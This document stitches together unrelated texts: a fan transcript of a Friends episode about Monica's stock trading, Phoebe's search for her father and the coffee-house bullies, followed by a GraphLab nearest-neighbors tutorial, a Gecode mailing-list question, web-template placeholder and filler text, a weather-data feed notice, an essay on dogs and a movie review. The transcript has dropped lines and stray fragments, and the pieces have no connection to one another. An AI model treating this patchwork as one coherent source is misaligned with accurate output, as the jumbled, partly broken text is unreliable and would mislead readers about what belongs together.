Originally written by Sebastian Jones and Brian Buckner.
[Scene: Monica and Rachel's apartment. Everyone is there. Monica is
watching stock prices on a business channel.]
JOEY: Hey Monica, why are we watchin' the business channel?
MONICA: 'Cause I was going by it the other day and I saw that there was a stock with my
initials, MEG, on it and, well, sometimes I have to watch for two or three hours before it
comes up again but when it does, it's pretty exciting.
RACHEL: Ok honey, you really need a job.
ROSS: Mon, speaking of which, dad says he knows someone you can call for an interview.
MONICA: Really.
PHOEBE: Ok, right there. That, that's the third sign today. Right
there.
ROSS: On behalf of everyone, I'd just like to say behuh.
PHOEBE: No, 'cause you just said dad and everywhere I go today I
keep getting signs telling me to go see my father. Like when I was walking over here and I
passed a buffet...which is my father's last name.
EVERYONE: Ahh.
PHOEBE: And they were serving franks which is his first name minus the s at the end. And
there was a rotisserie with spinning chicken.
MONICA: His indian name?
PHOEBE: No because I chickened out the last time when I tried to meet him. So I mean
coincidences? I don't think so.
ROSS: Freakish.
MONICA: Wow.
JOEY: Freaky.
MONICA: Weird, weird.
RACHEL: Ok, so uh, who wants the last hamburger?
PHOEBE: Oh, alright, that's it, now I have to go see him.
MONICA: Why?
PHOEBE: Hamburger. McDonald's. Old MacDonald had a farm, my dad is a pharmacist.
OPENING TITLES
[Scene: Central Perk. Chandler and Ross enter in sweats carrying rackets.]
CHANDLER: Man, I am so beat.
ROSS: Oh yeah.
CHANDLER: Hey, you just wanna forget about raquetball and hang out here?
ROSS: Yeah alright.
[they sit at the couch]
BIG BULLY: [walks back from the counter] Hey you're in our seats.
ROSS: Oh, sorry we didn't know.
LITTLE BULLY: [walks back from the counter] Hey, we were sitting there.
CHANDLER: Ok, there is one more way to say it, who knows it?
LITTLE BULLY: Is that supposed to be funny?
CHANDLER: No actually, I was just going for colorful.
BIG BULLY: What's with this guy?
LITTLE BULLY: What's with you?
ROSS: Uh, nothing, nothing's with him.
LITTLE BULLY: I just took your hat. See, I can be funny too. My, my joke is that I, I took
your hat.
CHANDLER: That, that is funny. Can I have it back?
LITTLE BULLY: No.
CHANDLER: No?
BIG BULLY: No.
ROSS: Ok, ok, you know what? I think you're very funny. Kudos on that hat joke. But, come
on guy just, just give him back the hat.
BIG BULLY: Why should we?
ROSS: Because it's a special hat. [Chandler looks at Ross funny] See
he bought it 'cause he was feeling really down one day so he got the hat to cheer himself
up, ya know. Now Chandler...
CHANDLER: Stop talking, stop talking now. Let me just get this straight. You're actually
stealing my hat?
BIG BULLY: You got a problem with that?
CHANDLER: No, just wanna make sure we're on the same page.
[Scene: Monica and Rachel's apartment. Joey and Rachel are sitting there and Monica
walks in.]
RACHEL: Hey, how'd the interview go?
MONICA: It bit. It was a 50's theme restraunt. I have to cook in a costume and dance on
the counter. I mean I was a chef at Cafe des Artistes. I mean how
could I take a job where I have to make something called Laverne and Curly Fries?
RACHEL: So don't do it.
MONICA: How can I not do it? I have $127 in the bank.
JOEY: Monica, relax, go get a beer.
MONICA: I don't want a beer.
JOEY: Who said it was for you?
ROSS and CHANDLER: [both enter looking down] Hhhiiii.
RACHEL: What's the matter with you?
CHANDLER: The mean guys at the coffee house took my hat.
RACHEL: Noo.
JOEY: You're kiddin'.
ROSS: It was ridiculous. Ya know, these guys, they were bullies, actual bullies, ya know. We're grown ups, this kinda stuff isn't supposed to happen anymore.
RACHEL: Oohhh.
ROSS: Hi.
RACHEL: Hi. [Ross turns to Rachel and they hug]
CHANDLER: Ohhh [turns as if to hug someone] Oh no, wait a minute, I have no one.

CHANDLER: Na, forget it, it's probably stripped and sold for parts by now.
MONICA: [seeing TV] Hey, I went up.
RACHEL: What?
MONICA: My stock, MEG, it went up 2 points. Hey guys, do you realize that if I had
invested my $127 in myself yesterday that I'd like have...a lot more than that today. Ya
know what, I'm gonna do it.
JOEY: Do what?
MONICA: Put all my money in me.
RACHEL: Monica, what are you talking about? You don't know the first thing about the stock
market.
MONICA: What's to know? Buy sell, high low, bears bulls...[on the
phone] Yes Manhattan...yeah telephone number of the stock...selling store.
[Scene: Phoebe's dad's house. Phoebe pulls up in the cab with Rachel and Joey in the
back.]
[Phoebe slams on the breaks. Joey and Rachel are thrown forward into the pillows in their
laps.]
JOEY: See, didn't I tell ya these pillows would be a good idea?
PHOEBE: Oh God, here we go. For the first time in my life I'm gonna say 'Hi birthfather'.
RACHEL: We love you, we're here for you.
JOEY: Yeah good luck, good luck.
PHOEBE: Thanks. [gets out of the cab]
JOEY: Hey Rach, you uh, you want some sandwich?
RACHEL: Ohh, what is in that?
JOEY: Olive loaf and ham spread, no mayo.
RACHEL: No no, 'cause mayo, that would make it gross.

RACHEL: Run Phoebe run.
PHOEBE: No no no, doggie please. Oh, I do so wanna love all animals,
please no.
JOEY: Get him a bone, get a bone. You gotta bone?
RACHEL: Are you kidding me?
PHOEBE: Look kibbles, bits.  [Flings the dog off and jumps in the cab. The dog keeps jumping up to the window.]
Ok, alright, we have a problem.
JOEY: Well why don't you just reach out and take his trampoline.
RACHEL: Ok, here, I know what we can do. [grabs Joey's sadwich and throws it out the
window]
JOEY: Hey, hey, hey no.
RACHEL: Ok, doggie get the- aahhh.
JOEY: Well if he's not gonna eat it, I will.

 Ahhh.
[Scene: Central Perk. Chandler and Ross are sitting at the couch.]
CHANDLER: Hey.
ROSS: What?
CHANDLER: Do you have to be a Century 21 real-estate agent to get to
wear those really cool jackets?
ROSS: Do you say this stuff to girls?
BIG BULLY: Hehehehey, isn't that the guy who used to wear your hat?
LITTLE BULLY: And look where they're sitting.
ROSS: You're joking, right? You guys just walked through the door.
BIG BULLY: Maybe we didn't make it clear enough.
LITTLE BULLY: Yeah.
BIG BULLY: This couch belongs to us.

BIG BULLY: You know what I keep wondering? Why you two are still sitting here.
ROSS: Alright, that's it. I've had enough of this, alright. Gunther,
these guys are trying to take our seat.
GUNTHER: Fellas, these guys were here first.
BIG BULLY: Oh, sorry, I didn't realize.
LITTLE BULLY: Sorry.
GUNTHER: There you go.
ROSS: Thank you Gunther. We didn't want to have to go and do that.
LITTLE BULLY: He told on us?
BIG BULLY: You told on us?
ROSS: Well pal, you didn't give me much of a choice. [flicks the ends of the big bully's
tie]
CHANDLER: Don't play with his things.
ROSS: I know.
BIG BULLY: Alright, let's take this outside.
ROSS: Let's, let's take this outside? Who talks like that?

CHANDLER: You had to ask.
ROSS: Yeah.
[the bullies grab the back of the couch that Ross and Chandler are sitting in and tip
back]
ROSS: Ok, ok look, see, the thing is we're, we're not gonna fight
you guys.
LITTLE BULLY: Well then here's the deal, you won't have to so long as never ever show your
faces in this coffee house ever again.
CHANDLER: I think you played the Gunther card too soon.
[Scene: Back in the cab in front of Phoebe's dad's house.]
JOEY: Hey Phoeb's, I think you're good to go.
PHOEBE: Yeah, I don't know.
RACHEL: What's the matter?
PHOEBE: I just think that this was a really bad sign, ya know. I mean, like the beast at
the threshold, you know. It's just like, I have no family left, ya know.  And I have a sister who I've barely spoken to since we like shared a womb.
I don't know, this is my real father and I just, I want things to be like just right.
RACHEL: Yeah Phoebe, I completely understand.
JOEY: Yeah, whatever you need.
PHOEBE: Ok, thanks. Sorry, again
[She starts the cab and pulls forward. We hear a squish and a dog yelp.]
PHOEBE: [innocently] What was that?
JOEY: Uhh, I'm guessing the threshold's clear now.
[Scene: Monica and Rachel's apartment. Joey is eating breakfast, Rachel has just gotten
up, and Monica is on the phone.]
MONICA: I wanna buy 5 shares of SGJ and I wanna buy them now. C'mon
time is money my friend. Thank you. Wooo.
RACHEL: Time is money my friend?

MONICA: Hey, I made $17 before breakfast, what have you done?
JOEY: Well uh, I had breakfast here so technically I saved $3.50.
RACHEL: How did you make $17.
MONICA: Well, my financially challenged friends, I split my money
and I bought some shares of CHP and ZXY.
JOEY: How come those?
MONICA: Well, CHP because I used to have a crush on Eric Estrada. And ZXY becuase I think
it sounds zexy.
RACHEL: What happened to uh, MEG.?
MONICA: MEG was good for me but I dumped her.
JOEY: That is so not my motto.
PHOEBE: [enters] Hey.
RACHEL: Hey Phoebs. Oh hey, how's the dog?
PHOEBE: Ok, I talked to the vet, people are so nice upstate. Anyway, he said that the
little fella's gonna be ok and I can pick him up tomorrow.
JOEY: Good.
RACHEL: Oh, thank God.

RACHEL: Ok, so Phoebe, now are you gonna call your dad and let him know that his dog is
ok?
PHOEBE: I, I don't wanna meet my father over the phone. What am I
gonna say, like 'Hi, I'm Phoebe, the daughter you abandoned. Oh, by the way, I broke your
dog.'
JOEY: Hey Phoebs, if you want, I'll do it.
PHOEBE: Ok. Listen, just don't say anything about me, ok. [goes over and grabs the phone
that's sitting by Monica]
MONICA: DON'T...be too long with the phone.
RACHEL: She'll be a much better friend when the market closes.
JOEY: [dials the phone] It's a woman.
PHOEBE: So talk to her.
 I know where your
dog is. I want you to know that he'll be returned to you, almost as good as new, within,
within 24 hours. Uh, goodbye. [hangs up]
RACHEL: Why the voice.
JOEY: [in the voice] Hard to say.
[Scene: Chandler and Joey's apartment. Ross is sitting at the bar, Chandler serves up
two mugs of hot water.]
CHANDLER: Your cappucino sir.
ROSS: Thank you.
[they both pour in packets of cappucino mix]
CHANDLER: Ya know I think this is much better than the coffee house.
ROSS: Absolutely.
[they both stir thier coffee and proceed to stare into the mugs]
ROSS: How come it's not mixing with the water?
CHANDLER:Well the package says you have to uh, constantly keep it moving. Stir and drink,
stir and drink, never let it settle.
[they both try to drink while continuously stirring]
JOEY: [walks out of his room] Hey, this is ridiculous. I'll tell you what. After I get
back from my neice's christening, I'll go down to the coffee house with you and we'll all
have a nice cup of coffee alright. No problem, Joey's there.
CHANDLER: Ok.
ROSS: No.
CHANDLER: No?
ROSS: No. Man I don't wanna have to have Joey with me every time I
wanna descent cup of coffee.  I say you and I go back down there and stand up to those guys.
CHANDLER: Alright, hang on a second there Custer.
JOEY: Yeah really, Ross, have you ever been beaten up before?
ROSS: Yeah, sure.
JOEY: By someone besides Monica?
ROSS: No. So what. So what if we get beaten up, maybe that's just
something every man has to go through once in his life. Ya know, like a, like a right of
passage or somethin'.
CHANDLER: Well, couldn't we just lose our virginities again? Ya know, because I think
actually mine's growing back.
[Scene: Outside Monica and Rachel's apartment. Rachel is returning.]
MONICA: [Opens the door] I need to borrow a hundred bucks.
RACHEL: What?
MONICA: Hi, welcome home. [pulls Rachel inside] I need to borrow a hundred bucks.
RACHEL: For what?
MONICA: I've gotta get back in the game.
RACHEL: Why, when did you get out of the game?
MONICA: I don't know, I lost it all ok. I lost it.
RACHEL: Oh no.
MONICA: Hey, I've come to terms with it, you have to too.
RACHEL: Ok. Look uhh, Mon I'm, I'm really sorry.
MONICA: Yeah, yeah, yeah, where are we on the hundred bucks?
RACHEL: I, I don't have it.
MONICA: But I need it. Otherwords I'm gonna have to take that
horrible diner job. You know, with the dancing and the costumes. I don't wanna have to
wear flame retardant boobs.
RACHEL: Nobody does honey.
[Scene: Phoebe's dad's house. Phoebe is returning the dog who is bandaged up and has a
plastic cone around it's neck.]
PHOEBE: Hi.
MRS BUFFAY: Schnoodle.
PHOEBE: It was an accident, and, and the woman who did this would never ever hurt a dog on
purpose. She's a vegetarian.
MRS BUFFAY: What are these, stitches?
PHOEBE: Yeah, eight of them. That's 56 to him. You know also, if, if it's raining, you
can't let him look up too long 'cause that cone'll fill up really really fast.
MRS BUFFAY: Yeah well, thanks for bringing back what's left of him.
PHOEBE: Sure, oh, is, is Frank home.
MRS BUFFAY: How do you know Frank?
PHOEBE: Just from a, from a long time ago. Is he here?
MRS BUFFAY: Yeah. Frank.
FRANK: Yeah. What? [a young guy comes around the corner]
PHOEBE: Oh, ok, um, I mean Frank senior.
MRS BUFFAY: He went out for groceries.
PHOEBE: Ok so will he be back soon?
MRS BUFFAY: Well he left four years ago so we're expecting him back any minute now.
PHOEBE: Alright, I'm, I'm gonna go. I'm sorry about the dog, everything. I'm sorry.
[she turns to leave, Frank follows]
FRANK: Hey lady. Hey wait up. How do you know my dad?
PHOEBE: Um well I don't really. Just genetically. He's kinda my dad too.
FRANK: Heavy.
PHOEBE: Yeah. So um, did he ever talk about me, Phoebe?
FRANK: No but he didn't really talk about anything.
PHOEBE: Oh.
FRANK: Except stilts.
PHOEBE: Stilts?
FRANK: Yeah, he loved stilts.  He just had this big smile on his face and he was waving 'cause he was always
happiest when he was on his stilts.
PHOEBE: Wow.
FRANK: Yeah.
PHOEBE: I don't know what to do with that.
FRANK: Me neither. So you're like my big sister.
PHOEBE: Yeah.
FRANK: This is huge, you can buy me beer.
PHOEBE: I'm not gonna. But you know what's cool though? Ok, if you had a friend named
Pete, then I could say, 'Oh yeah, I know Pete, he's friends with my brother.'
FRANK: I gotta friend named Mark.
PHOEBE: That'll work too.
FRANK: Cool, alright. So maybe, ya know, I could give you a call sometime, we could talk
or somethin'.
PHOEBE: Yeah, that'd be ok.
FRANK: Alright.
PHOEBE: Ok, I'm in the book.
FRANK: Ok, yeah.
PHOEBE: Alright. So um, stilts huh?
FRANK: Yeah hey, you know if you want I can take you around back and show you where he hit
his head on the rain gutter.
PHOEBE: Ok.
[Scene: Central Perk. Chandler and Ross are sitting on the couch nervously.]
ROSS: Well we did it, we're here. We are standing our ground. How
long does a cup of coffee take?
CHANDLER: Would you come on! Come on! [waitress brings their coffee] Thank you.
[They rush to put the cream and sugar in their cups and gulp down a few drinks]
CHANDLER: Ah, there we go.
ROSS: I think we proved our point.

ROSS: Cannot feel my tounge.
[They leave. As they're walking out, the bullies are walking in.]
CHANDLER: Bullies, big bullies.
LITTLE BULLY: Oh, look who's here, it's the weenies.
BIG BULLY: Did we not make ourselves clear the other day.
ROSS: Yes, and that's why we're here.
CHANDLER: Yes, we're standing out ground...apparently.
LITTLE BULLY: Let's do this alright.
ROSS: Woah, ho-ho, whad'ya got there, a weapon?
LITTLE BULLY: It's a nice watch, I don't wanna break it on your ribs.
CHANDLER: Alright, let's do this.
 If I don't care about my watch, can I use it as a weapon?
ROSS: Whad'ya mean?
CHANDLER: Well, it's sharp, it's metal, I think I can do some, you know, serious damage
with it.
BIG BULLY: No, you can't use your watch.
CHANDLER: Ok. [reaches in his pocket]
BIG BULLY: Or your keys.
CHANDLER: Ok.
LITTLE BULLY: Look, here's what we'll do. We'll put all keys and watches in the hat over
there. Alright. [they all put their keys and watches in the hat and put it on a mail box]
Alright, c'mon man, let's do this.
[they all jump in the street and prepare to fight]
ROSS: Before I forget, are we hitting faces?
BIG BULLY: Of course we're hitting faces, why wouldn't you hit faces?
ROSS: Well because I have to work on Monday, I have a big presentation.

BIG BULLY: Ok, nothing from the neck up. [everyone gets ready for the fight] Or the waist
down. Dana's ovulating.
LITTLE BULLY: Oh really, you guys tryin' again?
BIG BULLY: Yeah.
CHANDLER: Ok, so let me just get this straight. So we're uh, strictly talking about the
middle?
BIG BULLY: C'MON!
  I'm
standin here, huh.

BIG BULLY: Hey.
[they all run off after the guy]
[Scene: Central Perk. The four guys are returning after getting the hat back.]
ROSS: God, that was, that was amazing, that was incredible.
LITTLE BULLY: Us, what about you guys? Man you really, bing, gave it to old Mr. Clean back
there. He was a big guy.
ROSS: Yeah he was wasn't he.
CHANDLER: Yeah, I wouldn't know having missed everything.
BIG BULLY: Don't do that to yourself. Any one of us could have tripped over that little
girls jump-rope.
ROSS: So, listen guys, are we uh, are we ok here?
LITTLE BULLY: We're ok.
ROSS: Alright.
CHANDLER: Ok so, can I have my hat back?
LITTLE BULLY: No.
CHANDLER: Huh. [reaches over and grabs the hat and bolts for the door but slips and falls
behind the couch]
CLOSING CREDITS
[Scene: The 50's theme cafe. Monica is working the grill, the rest are at a table.]
RACHEL: Look at her.
CHANDLER: Hi Monica.
JOEY: He-he-he, how's it goin'?
PHOEBE: Hey nice boobs.
CHANDLER: Guys guys, check this out.
[Chandler puts a coin in the mini jukebox at the table. YMCA starts playing and Monica and
the rest of the staff have to get on the counter and start singing along and dancing.
After a couple of couruses, Chandler pulls out a handful of coins and drops them on the
table.]
JOEY: Excellent.
END


--- sort_order: 154 tei_id: rdx_b5j2m.p.idm62126784 annotation_count: 0 images: small-thumbnail: http://readux.library.emory.edu/books/emory:b5j2m/pages/emory:p78mg/mini-thumbnail/ json: http://readux.library.emory.edu/books/emory:b5j2m/pages/emory:p78mg/info/ full: http://readux.library.emory.edu/books/emory:b5j2m/pages/emory:p78mg/fs/ page: http://readux.library.emory.edu/books/emory:b5j2m/pages/emory:p78mg/single-page/ thumbnail: http://readux.library.emory.edu/books/emory:b5j2m/pages/emory:p78mg/thumbnail/ title: Page 154 number: 154 ---


Nearest Neighbors
The GraphLab Create
nearest neighbors toolkit
is used to find the rows in a data
table that are most similar to a query row. This is a two-stage process,
analogous to many other GraphLab Create toolkits. First we create a
NearestNeighborsModel, using a
reference dataset contained in an
SFrame.
Next we query the model, using either the query
or the similarity_graph
method. Each of these methods is explained further below.
For this chapter we use an example dataset of house attributes and prices, downloaded from Turi's public datasets bucket.
import graphlab as gl
import os
if os.path.exists('houses.csv'):
sf = gl.SFrame.read_csv('houses.csv')
else:
data_url = 'https://static.turi.com/datasets/regression/houses.csv'
sf = gl.SFrame.read_csv(data_url)
sf.save('houses.csv')
sf.head(5)
+------+---------+------+--------+------+-------+
| tax | bedroom | bath | price | size | lot |
+------+---------+------+--------+------+-------+
| 590 | 2 | 1.0 | 50000 | 770 | 22100 |
| 1050 | 3 | 2.0 | 85000 | 1410 | 12000 |
| 20 | 3 | 1.0 | 22500 | 1060 | 3500 |
| 870 | 2 | 2.0 | 90000 | 1300 | 17500 |
| 1320 | 3 | 2.0 | 133000 | 1500 | 30000 |
+------+---------+------+--------+------+-------+
[5 rows x 6 columns]
Because the features in this dataset have very different scales (e.g. price is in the hundreds of thousands while the number of bedrooms is in the single digits), it is important to normalize the features. In this example we standardize so that each feature is measured in terms of standard deviations from the mean (see Wikipedia for more detail). In addition, both reference and query datasets may have a column with row labels, but for this example we let the model default to using row indices as labels.
for c in sf.column_names():
sf[c] = (sf[c] - sf[c].mean()) / sf[c].std()
First, we create a nearest neighbors model. We can list specific features to use in our distance computations, or default to using all features in the reference SFrame. In the model summary below the following code snippet, note that there are three features, because our second command specifies three numeric SFrame columns as features for the model. There are also three unpacked features, because each feature is in its own column.
model = gl.nearest_neighbors.create(sf)
model = gl.nearest_neighbors.create(sf, features=['bedroom', 'bath', 'size'])
model.summary()
Class : NearestNeighborsModel
Attributes
----------
Distance : euclidean
Method : ball tree
Number of examples : 15
Number of feature columns : 3
Number of unpacked features : 3
Total training time (seconds) : 0.0091
Ball Tree Attributes
--------------------
Tree depth : 1
Leaf size : 1000
To retrieve the five closest neighbors for new data points or a subset of
the original reference data, we query the model with the query
method.
Query points must also be contained in an SFrame, and must have columns with the
same names as those used to construct the model (additional columns are allowed,
but ignored). The result of the query
method is an SFrame with four columns:
query label, reference label, distance, and rank of the reference point among
the query point's nearest neighbors.
knn = model.query(sf[:5], k=5)
knn.head()
+-------------+-----------------+----------------+------+
| query_label | reference_label | distance | rank |
+-------------+-----------------+----------------+------+
| 0 | 0 | 0.0 | 1 |
| 0 | 5 | 0.100742954001 | 2 |
| 0 | 7 | 0.805943632008 | 3 |
| 0 | 10 | 1.82070683014 | 4 |
| 0 | 2 | 1.83900997922 | 5 |
| 1 | 1 | 0.0 | 1 |
| 1 | 8 | 0.181337317202 | 2 |
| 1 | 4 | 0.181337317202 | 3 |
| 1 | 11 | 0.322377452803 | 4 |
| 1 | 12 | 0.705200678007 | 5 |
+-------------+-----------------+----------------+------+
[10 rows x 4 columns]
In some cases the query dataset is the reference dataset. For this task of
constructing the similarity_graph on the reference data, the model's
similarity_graph
can be used. For brute force models it can be almost twice as
fast, depending on the data sparsity and chosen distance function. By default,
the similarity_graph
method returns an
SGraph
whose vertices are the rows of the reference dataset and whose edges indicate a
nearest neighbor match. Specifically, the destination vertex of an edge is a
nearest neighbor of the source vertex. similarity_graph
can also return
results in the same form as the query
method if so desired.
sim_graph = model.similarity_graph(k=3)
sim_graph.show(vlabel='id', arrows=True)
Distance functions
The most critical choice in computing nearest neighbors is the distance function that measures the dissimilarity between any pair of observations.
For numeric data, the options are euclidean
, manhattan
, cosine
, and transformed_dot_product.
For data in dictionary format (i.e. sparse data), jaccard
and weighted_jaccard
are also options, in addition to the numeric distances. For string features, use levenshtein
distance, or use the text analytics toolkit's count_ngrams
feature to convert strings to dictionaries of words or character shingles, then use Jaccard or weighted Jaccard distance. Leaving the distance parameter set to its default value of auto
tells the model to choose the most reasonable distance based on the type of features in the reference data. In the following output cell, the second line of the model summary confirms our choice of Manhattan distance.
model = gl.nearest_neighbors.create(sf, features=['bedroom', 'bath', 'size'],
distance='manhattan')
model.summary()
Class : NearestNeighborsModel
Attributes
----------
Distance : manhattan
Method : ball tree
Number of examples : 15
Number of feature columns : 3
Number of unpacked features : 3
Total training time (seconds) : 0.013
Ball Tree Attributes
--------------------
Tree depth : 1
Leaf size : 1000
Distance functions are also exposed in the graphlab.distances
module. This
allows us not only to specify the distance argument for a nearest neighbors
model as a distance function (rather than a string), but also to use that
function for any other purpose.
In the following snippet we use a nearest neighbors model to find the closest reference points to the first three rows of our dataset, then confirm the results by computing a couple of the distances manually with the Manhattan distance function.
model = gl.nearest_neighbors.create(sf, features=['bedroom', 'bath', 'size'],
distance=gl.distances.manhattan)
knn = model.query(sf[:3], k=3)
knn.print_rows()
sf_check = sf[['bedroom', 'bath', 'size']]
print "distance check 1:", gl.distances.manhattan(sf_check[2], sf_check[10])
print "distance check 2:", gl.distances.manhattan(sf_check[2], sf_check[14])
+-------------+-----------------+-----------------+------+
| query_label | reference_label | distance | rank |
+-------------+-----------------+-----------------+------+
| 0 | 0 | 0.0 | 1 |
| 0 | 5 | 0.100742954001 | 2 |
| 0 | 7 | 0.805943632008 | 3 |
| 1 | 1 | 0.0 | 1 |
| 1 | 8 | 0.181337317202 | 2 |
| 1 | 4 | 0.181337317202 | 3 |
| 2 | 2 | 0.0 | 1 |
| 2 | 10 | 0.0604457724006 | 2 |
| 2 | 14 | 1.61656820464 | 3 |
+-------------+-----------------+-----------------+------+
[9 rows x 4 columns
distance check 1: 0.0604457724006
distance check 2: 1.61656820464
GraphLab Create also allows composite distances, which allow the nearest neighbors tool (and other distance-based tools) to work with features that have different types. Specifically, a composite distance is a weighted sum of standard distances applied to subsets of features, specified in the form of a Python list. Each element of a composite distance list contains three things:
- a list or tuple of feature names
- a standard distance name
- a multiplier for the standard distance.
In our house price dataset, for example, suppose we want to measure the difference between numbers of bedrooms and baths with Manhattan distance and the difference between house and lot sizes with Euclidean distance. In addition, we want the Euclidean component to carry twice as much weight. The composite distance for this would be:
my_dist = [[['bedroom', 'bath'], 'manhattan', 1],
[['size', 'lot'], 'euclidean', 2]]
This list can be passed to the distance
parameter just like a standard
distance function name or handle.
model = gl.nearest_neighbors.create(sf, distance=my_dist)
model.summary()
Class : NearestNeighborsModel
Attributes
----------
Method : brute_force
Number of distance components : 2
Number of examples : 15
Number of feature columns : 4
Number of unpacked features : 4
Total training time (seconds) : 0.0017
If we specify the distance parameter as auto
, a composite distance is
created where each type of feature is paired with the most appropriate distance
function. Please see the documentation for the GraphLab Create distances module for more on composite distances.
Search methods
Another important choice in model creation is the method. The
brute_force
method computes the distance between a query point and each of
the reference points, with a run time linear in the number of reference points.
Creating a model with the ball_tree
method takes more time, but leads to
much faster queries by partitioning the reference data into successively smaller
balls and searching only those that are relatively close to the query. The
default method is auto
which chooses a reasonable method based on both the
feature types and the selected distance function. The method parameter is also
specified when the model is created. The third row of the model summary confirms
our choice to use the ball tree in the next example.
model = gl.nearest_neighbors.create(sf, features=['bedroom', 'bath', 'size'],
method='ball_tree', leaf_size=5)
model.summary()
Class : NearestNeighborsModel
Attributes
----------
Method : ball_tree
Number of distance components : 1
Number of examples : 15
Number of feature columns : 3
Number of unpacked features : 3
Total training time (seconds) : 0.0253
Ball Tree Attributes
--------------------
Tree depth : 3
Leaf size : 5
If the ball tree is used, it's important to choose an appropriate value for the
'leaf_size' parameter, which controls how many observations are stored in each
leaf of the ball tree. By default, this is set so that the tree is no more than
12 levels deep, but larger or smaller values may lead to quicker queries
depending on the shape and dimension of the data. Our houses example only has 15
rows, so the leaf_size
parameter (and the ball_tree
method for that
matter) are not too useful, but for illustration purposes we set the leaf size
to 5 above.
Missing data
The reference dataset that is used to create the nearest neighbors model cannot have missing data. Please use the SFrame.fillna and SFrame.dropna utilities to preprocess missing values before creating a nearest neighbors model.
On the other hand, data passed to the query
method can have missing data.
For numeric columns, missing values are imputed to be the mean of the
corresponding column in the reference dataset used to create the model. Missing
values in string columns are imputed as empty strings.


[gecode-users] SetVar domains
Malcolm Ryan
malcolmr at cse.unsw.edu.au
Mon Nov 5 02:29:52 CET 2007
Are there any methods for inspecting the upper and lower bounds of a
SetVar? The only ones I can find are SetVar.glbMax(), glbMin(), lubMax
() and lubMin(), which don't tell me everything I want to know. How
can I get a list of exactly what is in the set?
Malcolm
--
"The modern man in revolt has become
practically useless for all purposes of revolt.
By rebelling against everything
he has lost his right to rebel against anything."
- G.K.Chesterton,
Orthodoxy
More information about the gecode-users
mailing list


Complementary
Content in this area will be wrapped below the Navigation and
Main Content Area sections when the viewport is made smaller.
At the smallest viewport size, it will be the last section listed.
To change the content of this section, you will make edits to the compContent.html file located in the /js/views folder.


The CMC's operational Global Environmental Multiscale (GEM) model - regional configuration - is integrated twice daily based on data valid at 00Z and 12Z. For a general overview of our regional forecast system, please visit: GEM website.
Currently, 0-, 6-, 12-, 18-, 24-, 30-, 36-, 42-, and 48-hour forecasts of the following fields are available: (0-hour forecast is equivalent to the analysis)
The above fields have been interpolated onto a Polar-Stereographic grid of 135 x 94 points and horizontal resolution equal to 60 km at 60 degrees N, centered over North America.
The data has been encoded in the WMO's GRIB format.
The data set contains 2 x 432 products per day with total volume of 17 Mb; one field per product except for the x-, y- wind components at a certain level which are grouped together. The feed type is CMC and is normally available in the LDM queue by 04Z (16Z) for the model run based on observations valid at 00Z (12Z) on the same day.
he data is provided for educational and research purposes as per the Unidata participation policy.
Re-distribution of the data, as they are or after processing, for other uses needs to be discussed and coordinated with the CMC. Users of the data need to be members of the Unidata community and have the LDM software up and running.
Requests to receive this new data feed need to be made to Unidata who will relay this to CMC. Contact<EMAIL_ADDRESS>Information on the content of this data feed or any general questions about CMC can be addressed to:
Richard Hogue
Chief, Implementation and Operational Services Division
Canadian Meteorological Center
<EMAIL_ADDRESS>514-421-4662


The relation between human and dog has existed 40,000 years ago. It started when humanity began to hunt. These thousands years relation explain why today dogs can be very attached to humans.
The origin of the dog started from the divergence with wolves. Scientists agree that 15,000 to 40,000 years ago, humans started to breed dogs. They wanted them to fulfill a need of protection and hunting teammate.
Scientific evidence supposes that the first dogs were grey wolves. And after several years of selected breeding, we have a lot of breeds' dog in the world.  The use of dogs in our society has changed many times. That's why we have a lot of varieties of dogs. Some breeders tried to change the appearance or the performances of their dog.
Examples of dog breeds
The origin of dogs is very hard to know for scientists. For instance, there is no proof about the origin of chihuahua but it comes from Mexico from the 9th century and is thought to descend from the techichi.
Max Emil Friedrich von Stephanitz is the founder of german shepherd dog breed. He wanted a specific dog to lead a sheep herd and other skills (intelligence, speed, strength). After several tries, here is the result:
Human and dog friendship in literature
Romulus and Remus were the founders of Roma, Italy in Roman mythology. Children of the god of Mars, they were abandoned and found by a wolf who suckled them.
Lassie is a book written by Eric Knight in 1940. It tells the story of Lassie the dog which is very intelligent and owned by Joe Carraclough. Unfortunatly, Joe's father in Britain, has to sell Lassie to earn money. Lassie has been brought in Scotland by the new owner but she decided to escape and go back to reach Joe. After dangers and aventures, she finally came back to the Carraclough family.
White fang is a book written by Jack London in 1906. The story starts by the born of white fang, a dog wolf from a half-dog half-wolf mother and a wolf father. After a short life with wolves, he discorvers life with humans. His owner decided to turn him into a fighting dog. During a fight with a stronger dog, two men stopped the fight to save White fang. With patience and love, a friendship started between him and the 2 men.


I build and use tools to tell stories
Some both meta and non-bold meta
A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here.
A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here.
Some both meta and non-bold meta
A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here.
A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here. A graf or two about this thing right here.


THE BONE COLLECTOR RATING: 7.5 / 10 --> Very good movie
For more reviews and movie trivia, visit http://www.joblo.com/
The Montreal Film Festival is where I happened to catch the premiere of this film last night. I got kinda lucky because producer Martin Bregman, director Phillip Noyce, and the main man himself, Denzel Washington sat in the crowd alongside the rest of us. I got even luckier when it turned out that the film was not just another rehashed serial killer thriller, but a rather effective moody/creepy murder mystery, starring a couple of New York City forensics experts.
PLOT: An expert in the field of crime scene forensics suddenly becomes a paraplegic after a horrible on-the-job accident. Four years later, a serial killer is on the loose, and our top cop suddenly develops a high interest in the mysterious case. Seeing that he cannot go to the crime scenes himself, he recruits the help of a young forensics hopeful, enter Angelina Jolie. Together, they attempt to piece together all of the clues in the puzzle, which once resolved, will nab them a killer.
CRITIQUE: Fantastic style, this film spices itself up with some great shots, unique points-of-view angles, an effective chilling mood, and some excellent performances put forth by Denzel Washington and Angelina Jolie. I must admit that ever since the plethora of "serial killer" films that came flying out after the great success of SEVEN (9/10), I have become harsher and harsher in respect to my criticism of these movies. This film passed my test with flying colors, because it managed to pull me into its game of thrills, with an interesting mystery, some pretty gruesome murder scenes, an engaging score and a nice build-up. Originality in the film's actual premise might not be its strong suit (A serial killer is on the loose...leaving plenty of cryptic clues...let's find him!), but the chemistry between Jolie and Washington make this film much more interesting and captivating to watch.
